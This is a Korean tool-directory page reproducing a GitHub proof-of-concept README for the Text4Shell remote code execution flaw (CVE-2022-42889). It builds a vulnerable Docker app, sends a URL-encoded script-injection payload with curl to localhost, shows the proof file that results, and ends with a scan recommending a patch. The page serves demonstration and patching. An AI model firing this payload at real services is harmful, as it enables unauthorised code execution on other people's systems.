Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-42889-PoC — CVE-2022-42889 (일명 Text4Shell) RCE PoC | Kitploit
도구/GitHubGitHub/sunnyvale-it/cve-2022-42889-poc
Container SecurityPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubsunnyvale-it/cve-2022-42889-poc

CVE-2022-42889-PoC

CVE-2022-42889 (일명 Text4Shell) RCE PoC

저장소 보기
21183년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-42889 (일명 Text4Shell) RCE 개념 증명

image

Text4Shell은 Apache Commons Text 라이브러리에서 발견된 치명적인 소프트웨어 취약점의 통칭입니다 (CVE-2022-42889 참조).

이 저장소는 이 CVE를 활용하는 원격 코드 실행(RCE)을 시연하기 위한 것입니다.

이 취약한 코드는 SpringBoot 컨트롤러에서 사용되지만 혼동하지 마세요. 이것은 SpringBoot/Spring 보안 문제가 아닙니다.

RCE를 테스트하기 전에 Docker 이미지를 빌드하십시오:

$ docker build -t text4shell .
...
 => exporting to image                                                                                                                                                                                     0.0s
 => => exporting layers                                                                                                                                                                                    0.0s
 => => writing image sha256:5d82feaa030f5e7b35c1c6deaa12b40ef713c05001a41f5f71fff6174513507f                                                                                                               0.0s
 => => naming to docker.io/library/text4shell

그런 다음 컨테이너를 실행하십시오:

$ docker run --name text4shell --rm -ti  -p:8080:8080 text4shell
...
2022-11-05 09:11:03.798  INFO 1 --- [           main] it.sunnyvale.text4shell.Main             : Started Main in 1.376 seconds (JVM running for 1.713)

마지막으로 특수하게 조작된 URL로 취약한 애플리케이션을 익스플로잇해 볼 수 있습니다:

$ curl http://localhost:8080/text4shell/attack\?search\=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Fp0wned%27%29%7D
Search results for: ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/p0wned')}%

컨테이너의 /tmp 디렉터리에서 p0wned라는 파일을 찾을 수 있다면 RCE가 성공적으로 실행된 것입니다.

$ docker exec text4shell ls -l /tmp/p0wned
-rw-r--r--    1 root     root             0 Nov  5 09:17 /tmp/p0wned

Snyk를 사용하여 이미지를 스캔하면 취약한 라이브러리가 감지됩니다:

$ docker scan text4shell | grep text
Testing text4shell...
Project name:      docker-image|text4shell
Docker image:      text4shell
Testing text4shell...
Upgrade org.apache.commons:[email protected] to org.apache.commons:[email protected] to fix
✗ Arbitrary Code Execution (new) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138] in org.apache.commons:[email protected]
introduced by org.apache.commons:[email protected]
Upgrade org.springframework:[email protected] to org.springframework:[email protected] to fix
✗ Improper Handling of Case Sensitivity [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2689634] in org.springframework:[email protected]
introduced by org.springframework:[email protected]
Project name:      text4shell:latest:/app
Docker image:      text4shell
도구 다운로드